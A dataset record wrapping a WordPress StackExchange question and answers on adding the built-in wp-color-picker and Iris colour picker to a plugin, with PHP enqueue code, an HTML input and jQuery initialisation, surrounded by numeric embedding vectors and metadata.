[ 0.0283966064453125, -0.0178680419921875, 0.00551605224609375, 0.0008230209350585938, -0.01200103759765625, -0.0174407958984375, 0.0211181640625, -0.0237884521484375, -0.008392333984375, 0.035675048828125, -0.016387939453125, 0.0009016990661621094, -0.0269012451171875, -0.01323699951171875, -0.019744873046875, -0.03271484375, 0.0638427734375, -0.0252685546875, 0.036224365234375, -0.004405975341796875, -0.0159149169921875, 0.037628173828125, 0.039337158203125, 0.098388671875, 0.01525115966796875, -0.0169677734375, 0.048248291015625, -0.0014657974243164062, 0.0200347900390625, -0.012908935546875, 0.021484375, -0.026580810546875, 0.02459716796875, 0.018798828125, -0.0165252685546875, -0.0238800048828125, 0.0172271728515625, -0.0115966796875, -0.01013946533203125, 0.03387451171875, -0.00766754150390625, 0.01537322998046875, -0.0254974365234375, 0.029052734375, -0.0517578125, -0.03472900390625, -0.01263427734375, -0.0088653564453125, 0.0162353515625, -0.0226287841796875, -0.00041031837463378906, 0.00801849365234375, 0.024749755859375, -0.002628326416015625, -0.0157623291015625, 0.003658294677734375, -0.0003154277801513672, -0.0166015625, 0.027496337890625, -0.0297393798828125, -0.031707763671875, -0.0236358642578125, 0.038330078125, -0.0025463104248046875, -0.037872314453125, -0.00809478759765625, 0.0638427734375, -0.007297515869140625, -0.09423828125, -0.070068359375, 0.06158447265625, -0.01093292236328125, 0.003711700439453125, -0.0128021240234375, -0.0068817138671875, -0.0307159423828125, -0.022705078125, -0.051727294921875, 0.0241546630859375, 0.0013513565063476562, 0.003631591796875, 0.012298583984375, -0.0268402099609375, -0.0233154296875, -0.00865936279296875, -0.03338623046875, -0.00749969482421875, -0.0017681121826171875, -0.052154541015625, -0.033203125, -0.0335693359375, 0.0008759498596191406, -0.03302001953125, -0.00788116455078125, -0.042205810546875, 0.0037899017333984375, 0.045623779296875, 0.05303955078125, -0.029815673828125, -0.0130615234375, -0.05133056640625, -0.004650115966796875, -0.041961669921875, -0.01322174072265625, 0.00428009033203125, -0.0487060546875, 0.0015411376953125, -0.01247406005859375, 0.05218505859375, 0.05023193359375, -0.039459228515625, 0.0849609375, 0.006221771240234375, -0.027374267578125, 0.00928497314453125, 0.01654052734375, -0.02813720703125, 0.0548095703125, 0.01386260986328125, 0.0162811279296875, 0.031829833984375, 0.036834716796875, 0.0230560302734375, -0.07135009765625, -0.0211181640625, -0.03997802734375, -0.068603515625, -0.0186767578125, -0.03314208984375, 0.0633544921875, -0.016265869140625, 0.00836181640625, 0.049346923828125, 0.01525115966796875, -0.009185791015625, -0.026611328125, -0.0086822509765625, -0.0214691162109375, -0.0024929046630859375, 0.01300048828125, -0.0361328125, -0.009796142578125, 0.052001953125, -0.0302734375, -0.0266265869140625, 0.015350341796875, 0.01113128662109375, 0.0251922607421875, -0.007843017578125, -0.06439208984375, -0.00229644775390625, 0.009246826171875, 0.0372314453125, -0.0269317626953125, 0.021087646484375, -0.0227813720703125, 0.023345947265625, -0.02593994140625, -0.01204681396484375, -0.0219879150390625, 0.04742431640625, 0.003173828125, -0.0026721954345703125, -0.0029277801513671875, -0.056427001953125, 0.01007843017578125, -0.0164337158203125, -0.02972412109375, 0.0241241455078125, 0.050567626953125, 0.0119171142578125, 0.017120361328125, 0.0389404296875, -0.006809234619140625, -0.031646728515625, -0.0218505859375, -0.00522613525390625, -0.0257110595703125, 0.0157928466796875, 0.011749267578125, -0.021697998046875, -0.0230255126953125, -0.02044677734375, 0.01084136962890625, -0.026763916015625, 0.014434814453125, 0.0237884521484375, 0.03857421875, -0.0020923614501953125, 0.02984619140625, 0.01108551025390625, 0.043975830078125, -0.061065673828125, 0.0296478271484375, -0.01502227783203125, 0.02081298828125, -0.0322265625, 0.016357421875, -0.01415252685546875, -0.019622802734375, 0.0163116455078125, -0.001495361328125, -0.0007677078247070312, 0.0162200927734375, -0.0237884521484375, -0.00982666015625, -0.00382232666015625, 0.00637054443359375, -0.01441192626953125, 0.0123443603515625, 0.0177459716796875, 0.019744873046875, -0.04248046875, 0.03497314453125, -0.005626678466796875, 0.0270233154296875, -0.04669189453125, 0.004199981689453125, -0.04144287109375, 0.0247650146484375, -0.054718017578125, -0.037261962890625, -0.034912109375, 0.022735595703125, 0.07122802734375, 0.0195770263671875, -0.00978851318359375, -0.0161285400390625, 0.0697021484375, 0.02496337890625, -0.040374755859375, -0.0126495361328125, -0.0132598876953125, -0.0279388427734375, -0.05596923828125, 0.007457733154296875, -0.01837158203125, 0.00478363037109375, -0.009918212890625, 0.05517578125, 0.02313232421875, -0.0081634521484375, 0.0103302001953125, 0.0302581787109375, 0.021453857421875, -0.0282135009765625, -0.0016002655029296875, 0.0027904510498046875, 0.038299560546875, 0.063720703125, -0.0030231475830078125, -0.019134521484375, -0.004795074462890625, -0.0248260498046875, 0.022369384765625, 0.004169464111328125, 0.00647735595703125, 0.01007080078125, -0.0227203369140625, 0.01763916015625, 0.0021190643310546875, -0.05218505859375, -0.034515380859375, -0.021331787109375, -0.01047515869140625, 0.0198822021484375, 0.0063629150390625, 0.021881103515625, -0.032867431640625, 0.000988006591796875, 0.018310546875, 0.023773193359375, 0.012603759765625, 0.036407470703125, -0.0307159423828125, 0.0116729736328125, -0.00861358642578125, -0.002288818359375, -0.0032329559326171875, -0.00479888916015625, 0.0018863677978515625, 0.0247344970703125, 0.0261688232421875, -0.010833740234375, -0.006633758544921875, -0.0255889892578125, 0.026947021484375, 0.01451873779296875, -0.0002620220184326172, 0.01763916015625, 0.036590576171875, 0.01087188720703125, -0.041900634765625, 0.0443115234375, -0.0250091552734375, -0.00875091552734375, -0.0285186767578125, -0.041900634765625, 0.03582763671875, -0.02288818359375, -0.0051727294921875, 0.060638427734375, 0.01904296875, 0.005359649658203125, -0.006237030029296875, 0.02294921875, 0.018096923828125, -0.029205322265625, -0.040802001953125, 0.0170135498046875, -0.09661865234375, -0.016204833984375, 0.039031982421875, 0.0838623046875, -0.01110076904296875, -0.042724609375, 0.0015106201171875, 0.0555419921875, -0.07196044921875, -0.06793212890625, -0.05206298828125, -0.0219573974609375, -0.0268402099609375, 0.00817108154296875, -0.01338958740234375, 0.0225677490234375, 0.004638671875, 0.0156097412109375, 0.02520751953125, -0.01432037353515625, -0.0284576416015625, 0.01058197021484375, -0.0225677490234375, 0.01251983642578125, 0.00140380859375, -0.007129669189453125, -0.0141448974609375, 0.109375, 0.0016775131225585938, -0.08636474609375, -0.05426025390625, 0.0285491943359375, -0.02154541015625, 0.00012922286987304688, 0.016021728515625, -0.0242462158203125, -0.002521514892578125, 0.01413726806640625, 0.0011444091796875, 0.006565093994140625, -0.015655517578125, -0.018524169921875, -0.03619384765625, -0.031463623046875, -0.01166534423828125, 0.041748046875, 0.036956787109375, 0.034149169921875, 0.07586669921875, -0.003925323486328125, 0.0018100738525390625, -0.0118560791015625, -0.0257568359375, 0.006317138671875, 0.0014867782592773438, 0.0082550048828125, -0.02642822265625, 0.029449462890625, -0.0312042236328125, -0.026702880859375, 0.04693603515625, -0.04718017578125, 0.02447509765625, -0.011505126953125, -0.0188140869140625, -0.027130126953125, 0.02728271484375, -0.01309967041015625, 0.0001437664031982422, 0.00679779052734375, 0.00335693359375, 0.0029201507568359375, -0.0257110595703125, -0.04010009765625, -0.01227569580078125, 0.0269775390625, -0.0533447265625, 0.0094757080078125, -0.030181884765625, -0.0166015625, -0.01189422607421875, 0.07611083984375, -0.05413818359375, -0.032257080078125, -0.005126953125, 0.0290069580078125, -0.034942626953125, -0.05963134765625, -0.0186309814453125, -0.02740478515625, -0.0654296875, 0.006496429443359375, -0.00014150142669677734, -0.00276947021484375, -0.05157470703125, 0.0570068359375, -0.0677490234375, -0.0165557861328125, 0.020751953125, -0.0274658203125, -0.0028476715087890625, 0.0628662109375, -0.0159454345703125, 0.039337158203125, -0.035186767578125, -0.0253753662109375, -0.038177490234375, -0.005413055419921875, -0.007747650146484375, 0.02227783203125, 0.0180511474609375, -0.031829833984375, -0.01074981689453125, 0.0203094482421875, 0.0248870849609375, 0.0216064453125, 0.0240631103515625, 0.0102996826171875, 0.0184783935546875, -0.02935791015625, 0.01161956787109375, -0.04144287109375, -0.00679779052734375, -0.0458984375, -0.0457763671875, -0.018280029296875, -0.041168212890625, 0.02508544921875, -0.0312347412109375, -0.006465911865234375, -0.01047515869140625, -0.0250244140625, -0.003246307373046875, 0.0216522216796875, -0.0194244384765625, 0.004638671875, -0.040924072265625, -0.0250396728515625, 0.01519012451171875, 0.003734588623046875, -0.036224365234375, 0.006343841552734375, 0.07037353515625, 0.0340576171875, -0.01116180419921875, -0.0278167724609375, 0.01534271240234375, 0.0421142578125, -0.01277923583984375, 0.056732177734375, 0.029693603515625, -0.032501220703125, 0.07672119140625, 0.0019817352294921875, -0.0015392303466796875, 0.0015430450439453125, 0.0455322265625, 0.015838623046875, -0.002948760986328125, 0.0005941390991210938, 0.005706787109375, -0.028472900390625, 0.0037593841552734375, -0.03076171875, 0.0097808837890625, -0.016265869140625, 0.035369873046875, -0.0277252197265625, 0.03814697265625, -0.029296875, -0.039642333984375, 0.006595611572265625, 0.0268402099609375, 0.005313873291015625, 0.01477813720703125, 0.00579071044921875, 0.01200103759765625, 0.028472900390625, 0.003765106201171875, -0.03448486328125, -0.0167388916015625, 0.01299285888671875, 0.034454345703125, -0.0057830810546875, 0.0308380126953125, -0.0299224853515625, 0.002593994140625, 0.042755126953125, -0.0214691162109375, -0.060089111328125, -0.0157470703125, -0.0189361572265625, 0.044036865234375, 0.03692626953125, -0.040130615234375, 0.02288818359375, 0.0068817138671875, -0.031158447265625, -0.020416259765625, -0.0297088623046875, -0.0206146240234375, -0.052886962890625, 0.020477294921875, 0.03717041015625, -0.01092529296875, 0.000499725341796875, 0.07794189453125, 0.053070068359375, 0.0086822509765625, -0.04541015625, 0.019744873046875, -0.0006051063537597656, 0.0281829833984375, 0.0184478759765625, 0.0269317626953125, -0.017822265625, 0.023681640625, 0.00763702392578125, -0.0187835693359375, 0.0003848075866699219, 0.0019388198852539062, 0.01441192626953125, -0.0033817291259765625, -0.0009131431579589844, 0.02691650390625, 0.00299835205078125, -0.028045654296875, 0.02044677734375, 0.0889892578125, -0.01102447509765625, 0.015594482421875, 0.005840301513671875, -0.0238800048828125, 0.0232696533203125, 0.0007648468017578125, 0.0263214111328125, -0.0045013427734375, 0.037628173828125, -0.054931640625, 0.024200439453125, -0.00824737548828125, -0.005092620849609375, -0.01132965087890625, -0.0369873046875, -0.01380157470703125, 0.00865936279296875, 0.01467132568359375, -0.0163726806640625, -0.0322265625, 0.0287322998046875, -0.030364990234375, 0.055328369140625, -0.034759521484375, -0.0245361328125, -0.0716552734375, 0.003871917724609375, 0.058868408203125, 0.061187744140625, -0.045928955078125, -0.005924224853515625, -0.05010986328125, -0.0149078369140625, 0.036895751953125, -0.0191192626953125, -0.0268707275390625, -0.0274658203125, 0.0235748291015625, 0.03399658203125, 0.026580810546875, -0.003231048583984375, -0.0182647705078125, -0.0211334228515625, -0.006427764892578125, 0.037567138671875, 0.0009541511535644531, 0.10223388671875, -0.0207366943359375, 0.0438232421875, 0.029541015625, 0.0650634765625, -0.05572509765625, -0.004405975341796875, 0.017578125, -0.047119140625, -0.0261383056640625, 0.005924224853515625, -0.0294036865234375, -0.0303192138671875, -0.0290679931640625, -0.0077972412109375, -0.0004444122314453125, -0.0028324127197265625, 0.0241241455078125, 0.0005183219909667969, -0.020416259765625, 0.0012531280517578125, -0.039703369140625, 0.058380126953125, 0.0013437271118164062, -0.026763916015625, -0.03167724609375, -0.00794219970703125, -0.01030731201171875, 0.01406097412109375, -0.0203704833984375, -0.01186370849609375, 0.004703521728515625, 0.01043701171875, 0.00896453857421875, 0.00487518310546875, 0.037139892578125, 0.00553131103515625, 0.046905517578125, 0.021392822265625, 0.0084228515625, -0.01141357421875, -0.0159759521484375, 0.01690673828125, -0.00015985965728759766, 0.00972747802734375, 0.009796142578125, -0.00848388671875, 0.0360107421875, -0.0033893585205078125, 0.039642333984375, -0.0258636474609375, 0.0217437744140625, 0.01261138916015625, -0.03314208984375, 0.035186767578125, 0.0247344970703125, -0.01031494140625, -0.039825439453125, 0.043731689453125, -0.0615234375, -0.00594329833984375, 0.00839996337890625, -0.0284576416015625, -0.0040130615234375, -0.031280517578125, 0.023895263671875, 0.006702423095703125, -0.022064208984375, 0.006748199462890625, 0.0350341796875, 0.0021114349365234375, -0.00649261474609375, 0.01519012451171875, 0.0053253173828125, -0.0281524658203125, -0.08746337890625, -0.01311492919921875, 0.0092010498046875, -0.041107177734375, -0.00923919677734375, -0.0032958984375, -0.006961822509765625, 0.046417236328125, -0.030670166015625, 0.0011110305786132812, 0.029388427734375, -0.06158447265625, -0.07366943359375, -0.0311126708984375, 0.042236328125, 0.06536865234375, -0.0211334228515625, 0.049591064453125, 0.014129638671875, -0.051300048828125, -0.0295867919921875, -0.09619140625, 0.06292724609375, -0.0460205078125, 0.0055389404296875, 0.0112152099609375, -0.00615692138671875, -0.020294189453125, -0.00382232666015625, -0.0036487579345703125, 0.004421234130859375, 0.0665283203125, -0.014190673828125, 0.033935546875, 0.0021343231201171875, -0.02435302734375, -0.043243408203125, 0.034912109375, 0.00872039794921875, 0.01361846923828125, 0.0040130615234375, -0.006031036376953125, -0.0093231201171875, -0.01416015625, -0.04547119140625, 0.039398193359375, 0.006031036376953125, 0.076416015625, -0.06842041015625, -0.0156402587890625, 0.02252197265625, 0.0543212890625, 0.0303497314453125, 0.006130218505859375, -0.04644775390625, 0.0053253173828125, 0.041534423828125, 0.0416259765625, 0.015350341796875, 0.0499267578125, 0.019866943359375, 0.0428466796875, 0.0650634765625, -0.020538330078125, 0.046539306640625, 0.0029697418212890625, -0.0059814453125, 0.042510986328125, 0.01525115966796875, 0.0085296630859375, -0.01043701171875, -0.0110931396484375, -0.06890869140625, -0.0010709762573242188, 0.05279541015625, -0.004199981689453125, 0.006740570068359375, 0.066162109375, 0.0948486328125, -0.020751953125, -0.023468017578125, -0.02545166015625, 0.0621337890625, 0.038787841796875, 0.01531982421875, 0.0281829833984375, 0.0204925537109375, 0.02203369140625, -0.0228118896484375, 0.01419830322265625, 0.0034732818603515625, -0.0173187255859375, 0.0408935546875, 0.026763916015625, 0.0291748046875, -0.029937744140625, -0.031341552734375, 0.06982421875, 0.07171630859375, -0.0283050537109375, 0.000148773193359375, 0.0228271484375, -0.007904052734375, 0.0043792724609375, -0.0274658203125, -0.00930023193359375, -0.0215606689453125, -0.0037708282470703125, -0.049896240234375, -0.00988006591796875, 0.016876220703125, 0.06719970703125, -0.00009697675704956055, 0.013916015625, -0.04962158203125, -0.0673828125, 0.0018634796142578125, 0.00931549072265625, 0.02532958984375, -0.0031833648681640625, -0.030975341796875, 0.03619384765625, -0.01122283935546875, 0.029510498046875, -0.0026092529296875, 0.030120849609375, -0.005573272705078125, 0.01343536376953125, -0.0053558349609375, -0.0037517547607421875, -0.039520263671875, 0.0127105712890625, 0.053802490234375, -0.005542755126953125, 0.054595947265625, 0.017181396484375, -0.049530029296875, 0.007328033447265625, 0.0203094482421875, -0.0193328857421875, -0.0262298583984375, -0.0352783203125, -0.041778564453125, 0.0214385986328125, -0.01885986328125, 0.041656494140625, -0.0098419189453125, 0.0280914306640625, -0.016326904296875, 0.0231475830078125, 0.00481414794921875, 0.01031494140625, 0.0694580078125, 0.0292510986328125, 0.0482177734375, 0.0241241455078125, -0.0164031982421875, 0.01031494140625, -0.04925537109375, -0.037017822265625, 0.0025501251220703125, 0.0162811279296875, -0.0145416259765625, 0.0341796875, -0.00406646728515625, -0.028839111328125, 0.05096435546875, -0.0161895751953125, 0.0159454345703125, 0.01319122314453125, 0.0011806488037109375, -0.0164642333984375, -0.027252197265625, -0.00836181640625, 0.004611968994140625, -0.005550384521484375, 0.006786346435546875, -0.0102691650390625, 0.06011962890625, 0.004970550537109375, -0.017059326171875, 0.0297393798828125, -0.07073974609375, -0.0219573974609375, 0.05859375, -0.058197021484375, -0.053741455078125, 0.0238800048828125, -0.049346923828125, -0.030609130859375, 0.051422119140625, -0.0260467529296875, 0.0098114013671875, -0.021453857421875, 0.0191497802734375, -0.050506591796875, -0.004180908203125, -0.02728271484375, 0.0260162353515625, 0.0004181861877441406, -0.042938232421875, 0.0408935546875, -0.004161834716796875, 0.0020599365234375, 0.0160064697265625, 0.025482177734375, -0.0296173095703125, 0.0178985595703125, -0.0194549560546875, 0.0369873046875, 0.03875732421875, -0.0004241466522216797, 0.01528167724609375, -0.039031982421875, -0.0166473388671875, 0.01039886474609375, 0.009552001953125, -0.013946533203125, -0.01161956787109375, 0.032318115234375, 0.006927490234375, -0.003734588623046875, 0.056640625, 0.01146697998046875, 0.00426483154296875, -0.01522064208984375, 0.01496124267578125, -0.045379638671875, -0.0027008056640625, -0.0154571533203125, -0.014404296875, -0.0276336669921875, -0.00809478759765625, 0.0054473876953125, -0.04376220703125, 0.0080413818359375, 0.0026302337646484375, -0.0177001953125, -0.011077880859375, -0.019287109375, 0.01873779296875, -0.0207672119140625, 0.020843505859375, -0.051361083984375, -0.02142333984375, 0.0196380615234375, 0.038818359375, -0.0088043212890625, -0.02630615234375, -0.017303466796875, 0.0159759521484375, -0.0175933837890625, -0.0160064697265625, 0.0008387565612792969, 0.01015472412109375, 0.0013446807861328125, -0.022979736328125, -0.03057861328125, 0.01500701904296875, -0.052703857421875, -0.0102081298828125, 0.02435302734375, 0.0015716552734375, -0.0217742919921875, -0.076416015625, 0.0095367431640625, -0.0592041015625, 0.0153045654296875, -0.003452301025390625, 0.016510009765625, 0.042266845703125, -0.01070404052734375, -0.0316162109375, 0.06243896484375, -0.006923675537109375, -0.01457977294921875, -0.052276611328125, -0.004032135009765625, -0.00762939453125, 0.0279083251953125, -0.0092010498046875, -0.01263427734375, -0.01529693603515625, 0.041290283203125, -0.0127716064453125, 0.0399169921875, 0.016815185546875, -0.01348114013671875, -0.0238494873046875, -0.0019502639770507812, -0.02496337890625, -0.01384735107421875, -0.0277862548828125, -0.009063720703125, 0.0302581787109375, 0.02862548828125, -0.0218048095703125, 0.050994873046875, 0.039459228515625, 0.024688720703125, -0.01702880859375, -0.021759033203125, -0.058837890625, -0.022003173828125, 0.0633544921875, 0.12237548828125, 0.031951904296875, -0.061065673828125, 0.0206146240234375, -0.00933074951171875, -0.07177734375, -0.0019588470458984375, 0.04205322265625, -0.05120849609375, -0.008331298828125, 0.0236968994140625, -0.0296783447265625, 0.018096923828125, -0.042633056640625, -0.05712890625, 0.01522064208984375, -0.036285400390625, 0.01509857177734375, -0.03973388671875, 0.048004150390625, 0.009552001953125, -0.0274810791015625, -0.026092529296875, -0.0021991729736328125, -0.0213470458984375, -0.014007568359375, 0.0074310302734375, 0.023651123046875, 0.033905029296875, -0.01020050048828125, -0.037689208984375, 0.0450439453125, -0.001491546630859375, 0.04833984375, -0.0179901123046875, -0.0062255859375, -0.0000972747802734375, 0.01432037353515625, -0.02154541015625, 0.03424072265625, -0.0254974365234375, -0.01216888427734375, 0.04412841796875, -0.0006895065307617188, 0.08203125, -0.0011434555053710938, 0.040191650390625, -0.00951385498046875, -0.0203857421875, 0.014801025390625, -0.0186309814453125, -0.004787445068359375, 0.03179931640625, -0.01410675048828125, 0.00022089481353759766, 0.0036067962646484375, 0.004848480224609375, -0.00995635986328125, -0.00997161865234375 ]
4c329c5b4cb9fd0364a9659434d09622983407cc
Wordpress Stackexchange Q: How to implement color picker from wordpress in my plugin? I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin. Is there any official wordpress documentation on how to use this feature? A: Yes, there is: https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/ 1. You should enqueue scripts and styles... add_action( 'admin_enqueue_scripts', 'mw_enqueue_color_picker' ); function mw_enqueue_color_picker( $hook_suffix ) { // first check that $hook_suffix is appropriate for your admin page wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'my-script-handle', plugins_url('my-script.js', __FILE__ ), array( 'wp-color-picker' ), false, true ); } 2. ... add an input... <input type="text" value="#bada55" class="my-color-field" data-default-color="#effeff" /> 3. ... and call wpColorPicker function jQuery(document).ready(function($){ $('.my-color-field').wpColorPicker(); });
Q: How to implement color picker from wordpress in my plugin? I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin. Is there any official wordpress documentation on how to use this feature? A: Yes, there is: https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/ 1. You should enqueue scripts and styles... add_action( 'admin_enqueue_scripts', 'mw_enqueue_color_picker' ); function mw_enqueue_color_picker( $hook_suffix ) { // first check that $hook_suffix is appropriate for your admin page wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'my-script-handle', plugins_url('my-script.js', __FILE__ ), array( 'wp-color-picker' ), false, true ); } 2. ... add an input... <input type="text" value="#bada55" class="my-color-field" data-default-color="#effeff" /> 3. ... and call wpColorPicker function jQuery(document).ready(function($){ $('.my-color-field').wpColorPicker(); }); A: We need to wp_enqueue_script the script and wp_enqueue_style the style with add_action to the functions.php file. Just include a jQuery file and stylesheet file by this script. // Register Scripts &amp; Styles in Admin panel function custom_color_picker_scripts() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'iris', admin_url( 'js/iris.min.js' ), array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), false, 1 ); wp_enqueue_script( 'cp-active', plugins_url('/js/cp-active.js', __FILE__), array('jquery'), '', true ); } add_action( 'admin_enqueue_scripts', custom_color_picker_scripts); Now create a new javascript file as like cp-active.js and keep it avobe defined “/js/cp-active.js” file path using bellows code. jQuery('.color-picker').iris({ // or in the data-default-color attribute on the input defaultColor: true, // a callback to fire whenever the color changes to a valid color change: function(event, ui){}, // a callback to fire when the input is emptied or an invalid color clear: function() {}, // hide the color picker controls on load hide: true, // show a group of common colors beneath the square palettes: true }); Add a textbox to your settings page with a CSS class for the color picker, where you want to dispaly the input text. I have use “color_code” for input $variable. <input id="color_code" class="color-picker" name="color_code" type="text" value="" /> Please see more details on Add jQuery Color Picker WordPress Theme or Plugin
wordpress
{ "language": "en", "length": 310, "provenance": "stackexchange_00019.jsonl.gz:486396", "question_score": "7", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304285" }
[ 0.01806640625, 0.017303466796875, -0.0286407470703125, -0.01314544677734375, 0.016082763671875, -0.037384033203125, 0.0352783203125, -0.038970947265625, -0.01039886474609375, -0.01654052734375, -0.01026153564453125, 0.00968170166015625, -0.05731201171875, -0.0177154541015625, -0.0015821456909179688, -0.045318603515625, 0.041259765625, -0.03228759765625, 0.03228759765625, -0.00153350830078125, 0.0276947021484375, 0.014617919921875, 0.030548095703125, 0.05047607421875, 0.036834716796875, -0.0284576416015625, 0.0335693359375, 0.031951904296875, 0.0203399658203125, 0.006420135498046875, 0.03240966796875, -0.02197265625, 0.00090789794921875, -0.0011587142944335938, 0.0016870498657226562, -0.028839111328125, 0.033111572265625, -0.00601959228515625, 0.0030670166015625, 0.0372314453125, 0.039459228515625, -0.006252288818359375, -0.08026123046875, 0.0574951171875, -0.08837890625, -0.06622314453125, 0.05682373046875, 0.03948974609375, -0.006103515625, -0.0012845993041992188, 0.00612640380859375, 0.005680084228515625, 0.027191162109375, -0.004550933837890625, -0.01155853271484375, 0.0008683204650878906, -0.033355712890625, -0.0025177001953125, 0.0167083740234375, 0.029876708984375, 0.019012451171875, 0.01485443115234375, -0.01035308837890625, -0.0103607177734375, -0.014129638671875, -0.0209808349609375, -0.0306243896484375, 0.011444091796875, -0.032623291015625, -0.007476806640625, 0.04217529296875, -0.026763916015625, -0.035614013671875, -0.04132080078125, -0.032867431640625, 0.056732177734375, 0.0181427001953125, 0.0014438629150390625, -0.03326416015625, 0.0026798248291015625, 0.04840087890625, 0.0089874267578125, -0.01505279541015625, -0.01678466796875, 0.034088134765625, 0.0099639892578125, 0.01202392578125, -0.02911376953125, -0.0255279541015625, -0.040283203125, -0.01505279541015625, 0.0276947021484375, -0.05059814453125, -0.01528167724609375, -0.04705810546875, -0.01299285888671875, 0.006847381591796875, 0.01922607421875, -0.007495880126953125, 0.01934814453125, 0.0265045166015625, -0.053680419921875, 0.042938232421875, -0.052215576171875, 0.00600433349609375, 0.052947998046875, -0.0070037841796875, -0.0242462158203125, -0.003467559814453125, 0.0027446746826171875, -0.01068115234375, -0.041351318359375, 0.02496337890625, -0.00909423828125, 0.007171630859375, -0.018768310546875, -0.029571533203125, 0.0394287109375, -0.00708770751953125, 0.01374053955078125, -0.0002923011779785156, -0.006046295166015625, 0.026763916015625, -0.033233642578125, 0.0177459716796875, -0.01053619384765625, -0.03509521484375, -0.002674102783203125, -0.006412506103515625, 0.0399169921875, -0.03375244140625, 0.0105743408203125, 0.08746337890625, 0.0181884765625, 0.01544189453125, -0.0279693603515625, 0.05938720703125, 0.0213165283203125, 0.0307159423828125, -0.039459228515625, 0.038970947265625, -0.01174163818359375, -0.04095458984375, 0.037139892578125, 0.00811767578125, -0.0248565673828125, -0.0075836181640625, 0.041290283203125, 0.038238525390625, 0.00861358642578125, 0.0214996337890625, -0.0266876220703125, -0.0185089111328125, 0.0310211181640625, 0.056182861328125, 0.01849365234375, 0.0770263671875, -0.018951416015625, -0.0017023086547851562, -0.0125732421875, 0.032867431640625, -0.01432037353515625, -0.0328369140625, 0.0258331298828125, -0.005542755126953125, 0.0199127197265625, 0.016265869140625, 0.00736236572265625, 0.03179931640625, -0.01265716552734375, 0.006359100341796875, 0.013397216796875, 0.0426025390625, 0.040924072265625, 0.006183624267578125, 0.006748199462890625, 0.00862884521484375, 0.021759033203125, 0.0223846435546875, -0.0131378173828125, -0.04608154296875, -0.04205322265625, 0.07049560546875, -0.053985595703125, -0.036712646484375, -0.0098419189453125, 0.0163116455078125, 0.050048828125, 0.01141357421875, 0.02545166015625, 0.0193634033203125, -0.01410675048828125, -0.01111602783203125, -0.004047393798828125, -0.00008052587509155273, -0.0158233642578125, -0.0260009765625, 0.00502777099609375, -0.0122222900390625, 0.002269744873046875, 0.012908935546875, 0.012115478515625, 0.0174407958984375, -0.0164794921875, -0.04107666015625, 0.0208282470703125, -0.01947021484375, 0.042266845703125, -0.01163482666015625, -0.0204925537109375, 0.014678955078125, -0.03997802734375, 0.022857666015625, -0.036285400390625, -0.045135498046875, -0.007320404052734375, -0.038665771484375, 0.0225982666015625, -0.01152801513671875, -0.002651214599609375, 0.026214599609375, -0.053375244140625, 0.0251617431640625, 0.006908416748046875, 0.020050048828125, 0.01268768310546875, -0.00902557373046875, -0.00435638427734375, 0.0294189453125, 0.00931549072265625, 0.0205841064453125, 0.024261474609375, -0.004810333251953125, 0.04229736328125, -0.007007598876953125, -0.016571044921875, 0.0182037353515625, -0.05084228515625, 0.0310821533203125, 0.0247344970703125, 0.022430419921875, 0.08148193359375, -0.004100799560546875, -0.01531219482421875, 0.0994873046875, 0.0305938720703125, 0.041778564453125, -0.033203125, -0.0040283203125, 0.053955078125, -0.011505126953125, 0.027130126953125, 0.0133209228515625, -0.0139617919921875, -0.021392822265625, 0.042266845703125, -0.005657196044921875, 0.019989013671875, -0.0185089111328125, -0.0119781494140625, 0.004413604736328125, -0.0287628173828125, -0.0113677978515625, -0.0180816650390625, 0.03125, -0.0164031982421875, 0.039764404296875, 0.0224609375, 0.0123748779296875, -0.0039215087890625, 0.00296783447265625, -0.049774169921875, 0.0086517333984375, 0.0139617919921875, -0.001190185546875, 0.0007028579711914062, -0.0152130126953125, -0.01235198974609375, 0.0098876953125, 0.00943756103515625, 0.00812530517578125, 0.0673828125, -0.053497314453125, -0.0178680419921875, -0.036346435546875, -0.06695556640625, -0.03515625, 0.02874755859375, 0.03900146484375, 0.04217529296875, 0.038177490234375, 0.0202178955078125, -0.0079803466796875, 0.0316162109375, 0.04095458984375, -0.017181396484375, -0.0218505859375, -0.0269317626953125, 0.01666259765625, -0.0302734375, 0.0143890380859375, 0.056610107421875, 0.013702392578125, -0.008148193359375, 0.016876220703125, -0.052764892578125, 0.0175323486328125, 0.01108551025390625, -0.00946807861328125, 0.0075836181640625, -0.0633544921875, 0.01442718505859375, 0.0243682861328125, 0.002933502197265625, 0.0330810546875, -0.0183868408203125, 0.0189056396484375, 0.01373291015625, -0.07000732421875, -0.062286376953125, -0.020904541015625, -0.07989501953125, 0.0271759033203125, -0.0133819580078125, -0.033538818359375, -0.0035114288330078125, 0.0153656005859375, 0.00920867919921875, -0.061737060546875, -0.004047393798828125, 0.001201629638671875, -0.039886474609375, -0.032257080078125, -0.01512908935546875, 0.005138397216796875, 0.0101470947265625, 0.01045989990234375, 0.0096435546875, 0.005138397216796875, -0.03790283203125, 0.01727294921875, -0.0072021484375, -0.0082244873046875, 0.0135345458984375, 0.0494384765625, -0.0352783203125, 0.00298309326171875, 0.00514984130859375, 0.0252838134765625, 0.039154052734375, -0.04461669921875, -0.007656097412109375, -0.020904541015625, 0.006389617919921875, -0.0107574462890625, 0.053558349609375, 0.0299530029296875, -0.01160430908203125, -0.01425933837890625, -0.05377197265625, 0.055145263671875, -0.026123046875, 0.01465606689453125, 0.0240020751953125, -0.026519775390625, -0.0225830078125, 0.0296173095703125, -0.0126190185546875, 0.032867431640625, 0.007381439208984375, -0.0194549560546875, -0.0180206298828125, 0.05584716796875, 0.0252532958984375, 0.046539306640625, -0.0006394386291503906, 0.007843017578125, -0.022064208984375, 0.0247039794921875, 0.00042319297790527344, -0.004306793212890625, -0.01898193359375, 0.011871337890625, -0.0323486328125, -0.0260009765625, 0.032928466796875, -0.0159149169921875, -0.0018672943115234375, 0.0003554821014404297, 0.00055694580078125, 0.0281829833984375, 0.05511474609375, -0.0257568359375, -0.0010538101196289062, -0.01503753662109375, 0.00719451904296875, -0.047515869140625, -0.07550048828125, -0.0509033203125, 0.01410675048828125, 